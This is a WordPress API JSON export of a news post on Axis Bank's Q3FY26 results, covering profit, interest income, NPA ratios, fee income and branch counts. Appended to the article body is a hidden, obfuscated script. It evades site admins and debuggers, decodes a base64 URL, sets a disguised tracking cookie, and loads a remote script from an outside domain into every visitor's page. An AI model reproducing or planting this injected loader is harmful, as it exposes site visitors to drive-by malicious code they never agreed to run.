{"id":24806,"date":"2026-01-28T06:32:39","date_gmt":"2026-01-28T06:32:39","guid":{"rendered":"https:\/\/odishastand.com\/?p=24806"},"modified":"2026-03-22T20:47:33","modified_gmt":"2026-03-22T20:47:33","slug":"axis-banks-q3fy26-results-strong-yoy-deposits-and-advances-growth-of-15-and-14-respectively-core-operating-profit-up-9-qoq-pat-up-28-qoq-aided-by-steady-nii-and-healthy-fee-income","status":"publish","type":"post","link":"https:\/\/odishastand.com\/axis-banks-q3fy26-results-strong-yoy-deposits-and-advances-growth-of-15-and-14-respectively-core-operating-profit-up-9-qoq-pat-up-28-qoq-aided-by-steady-nii-and-healthy-fee-income\/","title":{"rendered":"Axis Bank\u2019s Q3FY26 Results: Strong YoY deposits and advances growth of 15% and 14% respectively; Core operating profit up 9% QoQ, PAT up 28% QoQ, aided by steady NII and healthy fee income"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Bhubaneswar :<\/strong> Axis Bank, one of the largest private sector banks in India\u00a0announced its Q3FY26 results today, reporting\u00a0a\u00a0net profit of\u00a0Rs. 6,490 crores. The Bank\u2019s Net Interest Income (NII) grew 5% YoY and\u00a04% QoQ to Rs. 14,287 crores in Q3FY26.\u00a0Its Net Interest Margin (NIM) for Q3FY26 stood at\u00a03.64%.\u00a0On a QAB basis, total deposits grew 5% QoQ and 12% YoY. The MEB CASA ratio stood at 39%, continues to be among the best across large peer banks. As on 31<sup>st<\/sup>\u00a0December 2025, the Bank\u2019s reported Gross NPA and Net NPA improved to 1.40% and 0.42% respectively, against 1.46% and 0.44% as on 30<sup>th<\/sup>\u00a0September 2025. Fee income for Q3FY26 grew 12% YoY to Rs. 6,100 crores. Retail fees grew 12% YoY; and constituted 71% of the Bank\u2019s total fee income. Overall capital adequacy ratio (CAR) stood at 16.55%, CET 1 ratio of 14.50% up 7 bps\u00a0QoQ.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Bank\u2019s wealth management&nbsp;business is among the largest in India with Assets Under Management (AUM) of Rs. 6,87,738 crores at the end of 31st December 2025 that grew 7% QoQ and 8% YoY. The Bank\u2019s domestic subsidiaries delivered steady performance with 9MFY26 PAT of Rs. 1,490 crores, up 6% YoY.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Bank\u2019s overall distribution network stands at 6,110 domestic branches and extension counters along with 281 Business Correspondent Banking Outlets (BCBOs) situated across 3,315 centres as on 31<sup>st<\/sup>&nbsp;December 2025 compared to 5,706 domestic branches and extension counters, and 202 BCBO\u2019s situated in 3,122 centres as on 31<sup>st<\/sup>&nbsp;December 2024.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Amitabh Chaudhry, MD &amp; CEO, Axis Bank<\/strong>,&nbsp;commented,&nbsp;\u201c<em>Our progress this quarter reflects our focus on creating solutions that matter &#8211; simplifying access to credit, reimagining digital banking, and investing in talent and ideas that will shape the future. We will keep strengthening our competitive edge by modernising our platforms, empowering our teams, and staying ahead of shifts in customer behaviour through smart and revolutionary solutions.<\/em>\u201d&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Bhubaneswar : Axis Bank, one of the largest private sector banks in India\u00a0announced its Q3FY26 results today, reporting\u00a0a\u00a0net profit of\u00a0Rs. 6,490 crores. The Bank\u2019s Net Interest Income (NII) grew 5% YoY and\u00a04% QoQ to Rs. 14,287 crores in Q3FY26.\u00a0Its Net Interest Margin (NIM) for Q3FY26 stood at\u00a03.64%.\u00a0On a QAB basis, total deposits grew 5% QoQ&#8230;<\/p>\n","protected":false},"author":2,"featured_media":23943,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-24806","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business"],"_links":{"self":[{"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/posts\/24806","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/comments?post=24806"}],"version-history":[{"count":2,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/posts\/24806\/revisions"}],"predecessor-version":[{"id":25994,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/posts\/24806\/revisions\/25994"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/media\/23943"}],"wp:attachment":[{"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/media?parent=24806"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/categories?post=24806"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/odishastand.com\/wp-json\/wp\/v2\/tags?post=24806"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}